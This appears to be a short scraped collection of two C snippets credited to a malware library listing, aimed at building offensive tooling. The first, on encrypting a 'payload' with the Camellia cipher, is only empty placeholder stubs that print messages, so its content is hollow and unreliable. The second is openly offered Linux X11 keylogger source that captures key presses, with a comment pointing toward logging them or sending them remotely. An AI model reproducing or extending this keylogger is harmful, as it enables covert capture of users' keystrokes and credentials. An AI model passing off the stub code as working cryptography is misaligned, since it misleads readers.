### Encrypt/Decrypt Payload via Camellia Cipher

Source: https://malpedia.caad.fkie.fraunhofer.de/library/3?search=cocomelonc

A simple C example for encrypting and decrypting a payload using the Camellia cipher, including S-box analyses examples.

```C
// This example would require a Camellia cipher implementation.
// The following is a conceptual placeholder.
void encrypt_camellia(unsigned char *data, size_t len, const unsigned char *key) {
    // ... Camellia encryption logic ...
    printf("Encrypting data with Camellia cipher...\n");
}

void decrypt_camellia(unsigned char *data, size_t len, const unsigned char *key) {
    // ... Camellia decryption logic ...
    printf("Decrypting data with Camellia cipher...\n");
}

// S-box analysis example (conceptual)
void analyze_camellia_sbox() {
    printf("Analyzing Camellia S-boxes...\n");
    // ... S-box analysis code ...
}
```

--------------------------------

### Building a Linux Keylogger

Source: https://malpedia.caad.fkie.fraunhofer.de/library/3?search=cocomelonc

A simple C example for building a keylogger on Linux.

```C
#include <stdio.h>
#include <X11/Xlib.h>

int main() {
    Display *display;
    Window root;
    XEvent event;

    display = XOpenDisplay(NULL);
    if (display == NULL) {
        fprintf(stderr, "Failed to open display\n");
        return 1;
    }

    root = DefaultRootWindow(display);
    XSelectInput(display, root, KeyPressMask | KeyReleaseMask);

    while (1) {
        XNextEvent(display, &event);
        if (event.type == KeyPress) {
            char key_buffer[32];
            KeySym keysym;
            XLookupString(&event.xkey, key_buffer, sizeof(key_buffer), &keysym, NULL);
            printf("Key pressed: %s\n", key_buffer);
            // In a real keylogger, this output would be logged to a file or sent remotely.
        }
    }

    XCloseDisplay(display);
    return 0;
}
```